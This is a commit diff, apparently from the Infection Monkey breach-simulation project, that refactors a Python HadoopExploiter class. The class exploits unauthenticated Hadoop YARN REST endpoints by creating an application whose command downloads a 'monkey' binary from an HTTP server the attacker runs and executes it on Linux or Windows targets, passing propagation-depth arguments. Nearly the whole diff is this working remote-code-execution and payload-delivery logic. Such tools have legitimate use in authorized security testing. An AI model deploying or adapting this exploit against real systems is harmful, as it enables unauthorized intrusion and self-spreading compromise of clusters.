Refactored, notes fixed but file server still timeouts
This commit is contained in:
parent
02c27584da
commit
568320c298
|
@ -9,10 +9,9 @@ import random
|
||||||
import string
|
import string
|
||||||
import logging
|
import logging
|
||||||
from exploit.web_rce import WebRCE
|
from exploit.web_rce import WebRCE
|
||||||
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth, get_monkey_dest_path
|
from tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||||
import posixpath
|
import posixpath
|
||||||
from threading import Lock
|
from model import MONKEY_ARG, ID_STRING, DROPPER_ARG
|
||||||
from model import MONKEY_ARG
|
|
||||||
|
|
||||||
__author__ = 'VakarisZ'
|
__author__ = 'VakarisZ'
|
||||||
|
|
||||||
|
@ -34,50 +33,27 @@ class HadoopExploiter(WebRCE):
|
||||||
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
# How long we have our http server open for downloads in seconds
|
# How long we have our http server open for downloads in seconds
|
||||||
DOWNLOAD_TIMEOUT = 90
|
DOWNLOAD_TIMEOUT = 90
|
||||||
|
# Random string's length that's used for creating unique app name
|
||||||
|
RAN_STR_LEN = 6
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(HadoopExploiter, self).__init__(host)
|
super(HadoopExploiter, self).__init__(host, {'linux': './monkey.sh',
|
||||||
|
'win32': '%temp%\\monkey32.exe',
|
||||||
|
'win64': '%temp%\\monkey64.exe'})
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
# Try to get exploitable url
|
# Try to get exploitable url
|
||||||
exploitable_url = False
|
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
||||||
urls = self.build_potential_urls(self.host, self.HADOOP_PORTS)
|
self.add_vulnerable_urls(urls, True)
|
||||||
for url in urls:
|
if not self.vulnerable_urls:
|
||||||
if self.try_exploit(url):
|
|
||||||
exploitable_url = url
|
|
||||||
break
|
|
||||||
if not exploitable_url:
|
|
||||||
LOG.info("No exploitable Hadoop server found")
|
|
||||||
return False
|
return False
|
||||||
src_path = get_target_monkey(self.host)
|
paths = self.get_monkey_paths()
|
||||||
if not src_path:
|
if not paths:
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
return False
|
||||||
# Determine where to save monkey on the target
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
||||||
LOG.debug("Monkey path found")
|
command = self.build_command(paths['dest_path'], http_path)
|
||||||
path = get_monkey_dest_path(src_path)
|
if not self.exploit(self.vulnerable_urls[0], command):
|
||||||
if not path:
|
|
||||||
return False
|
return False
|
||||||
# To avoid race conditions we pass a locked lock to http servers thread
|
|
||||||
lock = Lock()
|
|
||||||
lock.acquire()
|
|
||||||
# Create server for http download and wait for it's startup.
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path, lock)
|
|
||||||
lock.acquire()
|
|
||||||
|
|
||||||
# Build command to execute
|
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path)
|
|
||||||
if 'linux' in self.host.os['type']:
|
|
||||||
base_command = self.LINUX_COMMAND
|
|
||||||
else:
|
|
||||||
base_command = self.WINDOWS_COMMAND
|
|
||||||
|
|
||||||
command = base_command % {"monkey_path": path, "http_path": http_path,
|
|
||||||
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
|
|
||||||
|
|
||||||
if not self.exploit(exploitable_url, command):
|
|
||||||
return False
|
|
||||||
lock.release()
|
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
return True
|
return True
|
||||||
|
@ -88,25 +64,29 @@ class HadoopExploiter(WebRCE):
|
||||||
resp = json.loads(resp.content)
|
resp = json.loads(resp.content)
|
||||||
app_id = resp['application-id']
|
app_id = resp['application-id']
|
||||||
# Create a random name for our application in YARN
|
# Create a random name for our application in YARN
|
||||||
rand_name = "".join([random.choice(string.ascii_lowercase) for _ in xrange(6)])
|
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
|
||||||
payload = self.build_payload(app_id, rand_name, command)
|
payload = self.build_payload(app_id, rand_name, command)
|
||||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
||||||
if resp.status_code == 202:
|
return resp.status_code == 202
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
@staticmethod
|
def check_if_exploitable(self, url):
|
||||||
def try_exploit(url):
|
|
||||||
# Get the newly created application id
|
|
||||||
try:
|
try:
|
||||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
|
||||||
except requests.ConnectionError:
|
except requests.ConnectionError:
|
||||||
return False
|
return False
|
||||||
if resp.status_code == 200:
|
return resp.status_code == 200
|
||||||
return True
|
|
||||||
|
def build_command(self, path, http_path):
|
||||||
|
default_path = self.get_default_dropper_path()
|
||||||
|
# Build command to execute
|
||||||
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
base_command = self.LINUX_COMMAND
|
||||||
else:
|
else:
|
||||||
return False
|
base_command = self.WINDOWS_COMMAND
|
||||||
|
|
||||||
|
return base_command % {"monkey_path": path, "http_path": http_path,
|
||||||
|
"monkey_type": DROPPER_ARG, "parameters": monkey_cmd}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def build_payload(app_id, name, command):
|
def build_payload(app_id, name, command):
|
||||||
|
|
Loading…
Reference in New Issue